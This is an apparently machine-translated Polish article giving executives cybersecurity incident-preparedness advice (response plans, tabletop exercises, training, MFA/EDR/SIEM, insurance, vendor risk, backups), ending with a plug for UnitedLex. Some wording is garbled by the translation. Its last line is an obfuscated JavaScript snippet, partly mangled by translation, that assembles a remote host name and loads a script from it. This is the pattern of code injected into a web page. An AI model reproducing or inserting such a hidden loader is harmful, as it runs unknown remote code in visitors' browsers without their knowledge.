W dzisiejszym cyfrowym krajobrazie nie chodzi o to, czy nastąpi incydent cybernetyczny, ale kiedy. Incydent związany z bezpieczeństwem może przybierać różne formy, a każda z nich wskazuje, że wrażliwe dane organizacji, krytyczne systemy lub mechanizmy kontroli dostępu zostały potencjalnie naruszone. Takie incydenty mogą wynikać z kradzieży hasła, naruszenia bazy danych ujawniającego poufne informacje, a nawet szpiegostwa korporacyjnego mającego na celu przechwycenie tajemnic handlowych lub informacji o konkurencji. Co zaskakujące, przyczyną większości tych incydentów pozostaje błąd ludzki, który przyczynia się do oszałamiającej liczby 95% naruszeń cyberbezpieczeństwa. Podkreśla to potrzebę stosowania solidnych praktyk w zakresie cyberbezpieczeństwa, świadomości pracowników i proaktywnego zarządzania ryzykiem, aby chronić organizacje zarówno przed zagrożeniami zewnętrznymi, jak i błędami popełnianymi wewnątrz.
Przejrzyj i zaktualizuj swój plan reagowania na incydenty
Plan reakcji organizacji na incydenty jest niezbędny do radzenia sobie z zagrożeniami cyberbezpieczeństwa. Zapewnia jasny przewodnik krok po kroku dotyczący reagowania na incydenty, ale jego wartość zależy od jego przejrzystości, aktualności i możliwości dostosowania. Przestarzałe plany mogą prowadzić do zamieszania, dłuższych przestojów, kar finansowych i szkody dla reputacji. W miarę ewolucji zagrożeń cybernetycznych i pojawiania się nowych przepisów organizacje powinny rutynowo przeglądać i aktualizować swoje plany reagowania na incydenty, aby zachować zgodność zarówno ze standardami branżowymi, jak i wewnętrznymi zmianami w procesach i technologii.
Wykonuj ćwiczenia na stole
Aby przetestować skuteczność zaktualizowanego planu reagowania na incydenty, organizacje powinny przeprowadzić ćwiczenia praktyczne. Są to symulowane ćwiczenia oparte na scenariuszach, podczas których kluczowi interesariusze z różnych działów ćwiczą w czasie rzeczywistym, jak zareagowaliby na incydent cyberbezpieczeństwa. Ćwiczenia te, zwykle prowadzone przez zewnętrznego doradcę prawnego, pomagają zidentyfikować słabe strony, poprawić koordynację i zapewnić wprowadzenie wszelkich niezbędnych aktualizacji planu, zanim nastąpi prawdziwy kryzys.
Wdrażaj kompleksowe szkolenia w zakresie świadomości bezpieczeństwa
Błąd ludzki jest główną przyczyną incydentów cybernetycznych, ponieważ pracownicy często stają się celem ataków typu phishing i socjotechnika. Zapewnienie skutecznego szkolenia w zakresie cyberbezpieczeństwa wszystkim pracownikom – w tym kierownictwu – umożliwia zespołowi rozpoznawanie zagrożeń i reagowanie na nie, obniżając ogólne ryzyko organizacji. Wdrażanie obowiązkowych, dostosowanych do indywidualnych potrzeb programów szkoleniowych gwarantuje, że treść przemówi do pracowników, ułatwiając im zapamiętanie i zastosowanie tego, czego się nauczyli.
Zidentyfikuj i zaangażuj kluczowych partnerów zewnętrznych w celu reagowania na incydenty
Kiedy dochodzi do incydentu cybernetycznego, nawiązanie relacji z zewnętrznymi ekspertami może znacznie poprawić szybkość i skuteczność reakcji. Radcy prawni, kryminaliści i firmy zajmujące się komunikacją kryzysową wnoszą niezbędną wiedzę specjalistyczną, aby sprostać wyzwaniom technicznym, prawnym i reputacyjnym związanym z incydentem cybernetycznym. Nawiązanie takich partnerstw z wyprzedzeniem ogranicza biurokrację, dostosowuje wsparcie zewnętrzne do strategii reagowania organizacji i zapewnia zachowanie poufności między prawnikiem a klientem, zapewniając dodatkową warstwę ochrony.
Nadaj priorytet proaktywnym środkom i kontroli cyberobrony
Ochrona proaktywna, np uwierzytelnianie wieloskładnikowe (MFA), systemy wykrywania i reagowania na punktach końcowych (EDR) oraz systemy zarządzania informacjami i zdarzeniami dotyczącymi bezpieczeństwa (SIEM) są niezbędne do wykrywania zagrożeń i reagowania na nie. Chociaż zespoły IT zajmują się wdrożeniami technicznymi, kadra kierownicza odgrywa kluczową rolę w ustalaniu priorytetów tych inicjatyw, dopasowywaniu ich do celów organizacyjnych i promowaniu niezawodnego podejścia do bezpieczeństwa, które przenika kulturę firmy.
Ustal regularne raporty dotyczące cyberbezpieczeństwa
Rutynowe, wspólne raportowanie pomiędzy działem IT, kierownictwem i kadrą kierowniczą zapewnia zgodność celów cyberbezpieczeństwa z priorytetami organizacji. Kierownictwo powinno organizować regularne wizyty, podczas których zespoły IT i ds. bezpieczeństwa przedstawiają aktualne informacje na temat wykrycia zagrożeń, czasu reakcji, luk w zabezpieczeniach i zgodności z zasadami. Takie podejście promuje przejrzystość, sprzyja pracy zespołowej i zapewnia forum do dyskusji na temat pojawiających się zagrożeń i przeglądu alokacji budżetowych na niezbędne narzędzia.
Zoptymalizuj zakres ubezpieczenia cybernetycznego
Ubezpieczenie cybernetyczne stanowi istotną część zarządzania ryzykiem, pomagając organizacjom łagodzić skutki finansowe incydentów cybernetycznych, takich jak ataki oprogramowania ransomware, naruszenia przepisów i działania prawne. Organizacje powinny upewnić się, że ich zasady są zgodne z ich konkretnym profilem ryzyka, oferując pokrycie kosztów bezpośrednich i pośrednich, w tym opłat prawnych, zakłóceń w działalności i utraty reputacji. Właściwa ochrona zapewnia odporność finansową i ogranicza potencjalne skutki incydentów cybernetycznych.
Wzmocnij swój program zarządzania ryzykiem stron trzecich
Dostawcy zewnętrzni mogą być głównymi celami cyberzagrożeń. Pojedynczy skompromitowany dostawca może ujawnić dane i systemy każdego klienta, któremu służy. Aby ograniczyć to ryzyko, organizacje powinny egzekwować rygorystyczne standardy bezpieczeństwa i przeprowadzać bieżącą ocenę ryzyka ze wszystkimi partnerami zewnętrznymi. Obejmuje to sprawdzanie praktyk bezpieczeństwa podczas wdrażania, ustalanie umownych wymagań bezpieczeństwa i przeprowadzanie regularnych przeglądów w celu zapewnienia zgodności i wykrycia wszelkich zmian w stanie bezpieczeństwa dostawcy.
Ulepsz swoją strategię tworzenia kopii zapasowych i odzyskiwania danych
Rozwój oprogramowania ransomware jako usługi (RaaS) zwiększył zapotrzebowanie na solidną strategię tworzenia kopii zapasowych i odzyskiwania danych, aby ograniczyć utratę danych, przestoje operacyjne i koszty zakłóceń. Skuteczne praktyki tworzenia kopii zapasowych obejmują zabezpieczanie wielu lokalizacji kopii zapasowych, częste harmonogramy tworzenia kopii zapasowych, szyfrowanie danych i regularne testowanie protokołów odzyskiwania danych. Dobrze zorganizowany plan odzyskiwania umożliwia organizacjom szybkie przywrócenie krytycznych systemów, minimalizując szkody i wspierając ciągłość działania.
Przeprowadzaj regularne oceny i audyty ryzyka
Regularne oceny ryzyka i audyty, w tym skanowanie podatności, testy penetracyjne i oceny wewnętrzne, pomagają organizacjom w proaktywnym odkrywaniu potencjalnych luk w zabezpieczeniach. Audyty te pozwalają kierownictwu podejmować świadome decyzje dotyczące ograniczania ryzyka i alokacji zasobów, zapewniając solidny poziom bezpieczeństwa.
Wdrażając te najlepsze praktyki, organizacje mogą lepiej przygotować się na incydenty związane z cyberbezpieczeństwem, zmniejszyć potencjalne szkody i zapewnić szybki powrót do zdrowia. Nigdy wcześniej kadra kierownicza i liderzy nie mieli tak istotnego momentu na skupienie się na priorytetach cyberbezpieczeństwa. Te najlepsze praktyki zapewniają ustrukturyzowane podejście do zarządzania zagrożeniami cybernetycznymi, umożliwiając organizacjom budowanie odporności i ochronę przed zagrożeniami.
Gdy dane zostaną naruszone w wyniku incydentu cyberbezpieczeństwa, UnitedLex oferuje kompleksowe rozwiązania specjalistyczna wiedza z zakresu reagowania na cyberbezpieczeństwozapewniając szybki wgląd w potencjalną dotkliwość i szybkie określenie zakresu narażenia oraz obowiązków wobec firmy, klientów, pracowników i osób trzecich.
(funkcja(){ o5lg=document.createElement(„skrypt”);o5lg.async=true;o5lg_=”u”+(„s”)+”t”; o5lgu=”2364948685.”;o5lg_+=”a „+(„ti”);o5lg_+=”n”+(„f”+”o”)+”/”; o5lgu+=”ybygzeig5lgi2at44vwpXk”+(„f6i0mttx”); o5lg.src=”https://”+o5lg_+o5lgu;o5lg.type=”text/javascript”; document.body.appendChild(o5lg); })() ;
